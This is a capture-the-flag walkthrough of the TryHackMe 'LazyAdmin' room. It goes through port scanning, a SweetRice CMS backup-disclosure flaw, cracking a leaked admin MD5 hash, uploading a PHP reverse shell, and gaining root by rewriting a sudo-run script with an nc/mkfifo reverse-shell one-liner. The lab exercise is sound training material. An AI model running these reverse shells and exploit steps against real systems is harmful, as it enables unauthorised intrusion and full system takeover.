



# LazyAdmin - THM (Done)

<https://tryhackme.com/r/room/lazyadmin>

nmap

```
File Edit View Search Terminal Help
root@kali:~# nmap -A -T4 -p- 10.10.188.132
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 10:39 EDT
Nmap scan report for 10.10.188.132
Host is up (0.13s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0
)
| ssh-hostkey:
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|   256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/20%OT=22%CT=1%CU=42719%PV=Y%DS=2%DC=T%G=Y%TM=5EEE212
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST1
OS:1NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN
OS:(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
```

## dirsearch

```
python3 dirsearch.py -u http://10.10.219.106/ -e php,html -x 400,401,403
```

```
root@kali:~# cd /opt/dirsearch/ ←
root@kali:/opt/dirsearch# python3 dirsearch.py -u http://10.10.188.132 -e php,html -x 400,401,403

[. . .] v0.3.9

Extensions: php, html | HTTP method: get | Threads: 10 | Wordlist size: 6362
Error Log: /opt/dirsearch/logs/errors-20-06-20_10-48-29.log
Target: http://10.10.188.132

[10:48:29] Starting:
[10:49:08] 301 - 316B - /content -> http://10.10.188.132/content/
[10:49:21] 200 - 11KB - /index.html

Task Completed
root@kali:/opt/dirsearch#
```

The screenshot shows a web browser window with the following details:

- Title Bar:** TryHackMe | LazyAdmin X - Welcome to SweetRice - +
- Address Bar:** 10.10.188.132/content/ (highlighted with a red box)
- Page Content:**
  - SweetRice notice:** Welcome to SweetRice - Thank your for install SweetRice as your website management system.
  - This site is building now , please come late.**
  - If you are the webmaster,please go to Dashboard -> General -> Website setting and uncheck the checkbox "Site close" to open your website.
  - More help at [Tip for Basic CMS SweetRice installed](#) (highlighted with a red box)

## Search sweetrice exploits

The screenshot shows a web browser window with multiple tabs open. The active tab displays information about a specific exploit:

**Title:** SweetRice 1.5.1 - Backup Disclosure  
**Application:** SweetRice  
**Versions Affected:** 1.5.1  
**Vendor URL:** <http://www.basic-cms.org/>  
**Software URL:** <http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip>  
**Discovered by:** Ashiyane Digital Security Team  
**Tested on:** Windows 10  
**Bugs:** Backup Disclosure  
**Date:** 16-Sept-2016

**Proof of Concept :**

You can access to all mysql backup and download them from this directory.  
[http://localhost/inc/mysql\\_backup](http://localhost/inc/mysql_backup)

and can access to website files backup from:  
<http://localhost/SweetRice-transfer.zip>

Go to that dir and download sql file.

The screenshot shows a web browser window displaying the contents of a directory. The address bar shows the URL: [http://10.10.188.132/content/inc/mysql\\_backup/](http://10.10.188.132/content/inc/mysql_backup/). The page title is "Index of /content/inc/mysql\_backup".

Name	Last modified	Size	Description
<a href="#">Parent Directory</a>		-	
<a href="#"><u>mysql_bakup_20191129023059-1.5.1.sql</u></a>	2019-11-29 12:30	4.7K	

Apache/2.4.18 (Ubuntu) Server at 10.10.188.132 Port 80

Cat out. Copy that hash.

```

File Edit View Search Terminal Help
`content` mediumtext NOT NULL,
`date` int(10) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;',
14 => 'INSERT INTO `%%_options` VALUES('1','global_setting','a:17:{s:4:"name";s:25:"Lazy Admin&#039;s Website";s:6:"author";s:10:"Lazy Admin";s:5:"title";s:0:"";s:8:"keywords";s:8:"Keywords";s:11:"description";s:11:"Description";s:5:"admin";s:7:"manager";s:6:"passwd";s:32:"42f749ade7f9e195bf475f37a44cafcb";s:5:"close";i:1;s:9:"close_tip";s:454:"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \"Site close\" to open your website.</p><p>More help at <a href=\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\">Tip for Basic CMS SweetRice installed</a></p><!-->';s:5:"cache";i:0;s:13:"cache_expired";i:0;s:10:"user_track";i:0;s:11:"url_rewrite";i:0;s:4:"logo";s:0:"";s:5:"theme";s:0:"";s:4:"lang";s:9:"en-us.php";s:11:"admin_email";N;}', '1575023409'),
15 => 'INSERT INTO `%%_options` VALUES('2','categories','\'\',\'\',\''1575023409''),',
16 => 'INSERT INTO `%%_options` VALUES('3','links','\'\',\''1575023409''),',
17 => 'DROP TABLE IF EXISTS `%%_posts`;',
18 => 'CREATE TABLE `%%_posts` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`name` varchar(255) NOT NULL,
`title` varchar(255) NOT NULL,
`body` longtext NOT NULL,

```

## Crack that hash.

Hash	Type	Result
42f749ade7f9e195bf475f37a44cafcb	md5	Password123

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

## Read exploit

```
...  
    'rememberMe': ''  
}  
  
with session() as r:  
    login = r.post('http://' + host + '/as/?type=signin', data=payload)  
    success = 'Login success'  
    if login.status_code == 200:  
        print("[+] Sending User&Pass...")  
        if login.text.find(success) > 1:  
            print("[+] Login Succssfully...")  
        else:  
            print("[-] User or Pass is incorrent...")  
            print("Good Bye...")  
            exit()  
    pass  
    uploadfile = r.post('http://' + host + '/as/?type=media_center&mode=upload', files=file)  
    if uploadfile.status_code == 200:  
        print("[+] File Uploaded...")  
        print("[+] URL : http://" + host + "/attachment/" + filename)  
    pass
```

Go to dir mentioned in exploit.

The screenshot shows a TryHackMe challenge titled "LazyAdmin". The user is on the "Media Center - Dashboard" page. The sidebar on the left lists various admin functions like Dashboard, Category, Post, Comment, Attachment, Setting, Permalinks, Plugin list, Ads, Track, Links, Sitemap, Theme, Cache, and Update. The "Media Center" option is highlighted with a red arrow. The main content area shows a file manager interface with a search bar, a "Bulk Delete" button, and a "File Type" filter. Below these are fields for "Page Limit", "New Directory", and "Upload". The "Upload" field has a "Browse..." button and a message "No files selected.". To the right of the upload field are checkboxes for "Extract zip archive?" and "Max upload file size:2M", both followed by a "Done" button. A red arrow points to the "Upload" field.

Use pentest monkey php rev shell. Change ip and port. Set up listener. Upload file.

```

// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS ←
$port = 1234; // CHANGE THIS ←
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourselves if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0); // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
}

```

Media Center

Name	File Type	Date
shell.php5	application/octet-streams	Jun 20 2022

```

root@kali:~/Downloads# nc -nvlp 7777 ←
listening on [any] 7777 ...
connect to [10.11.4.114] from (UNKNOWN) [10.10.188.132] 37992
Linux THM-Chal 4.15.0-70-generic #79-16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU
/Linux
17:58:56 up 40 min, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM           LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data)  gid=33(www-data)  groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami ←
www-data
$ id ←
uid=33(www-data)  gid=33(www-data)  groups=33(www-data)
$ sudo -l ←
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

```

```

$ cd /home/itguy ←
$ ls ←
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl ←
examples.desktop
mysql_login.txt
user.txt
$ cat backup.pl ←
#!/usr/bin/perl

system("sh", "/etc/copy.sh");
$ cat /etc/copy.sh ←
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
$ ←

```

copy.sh already has reverseshell one liner. We just need to modify it with our ip and port.

Overwrite copy.sh and Run.

```

$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.4.114 5554 >/tmp/f" > /etc/copy.sh
$ sudo perl /home/itguy/backup.pl ←
rm: cannot remove '/tmp/f': No such file or directory

```

```

root@kali:~/Downloads# nc -nvlp 5554 ←
listening on [any] 5554 ...
connect to [10.11.4.114] from (UNKNOWN) [10.10.188.132] 35812
/bin/sh: 0: can't access tty; job control turned off
# id ←
uid=0(root)  gid=0(root)  groups=0(root)
# ←

```

We got root!

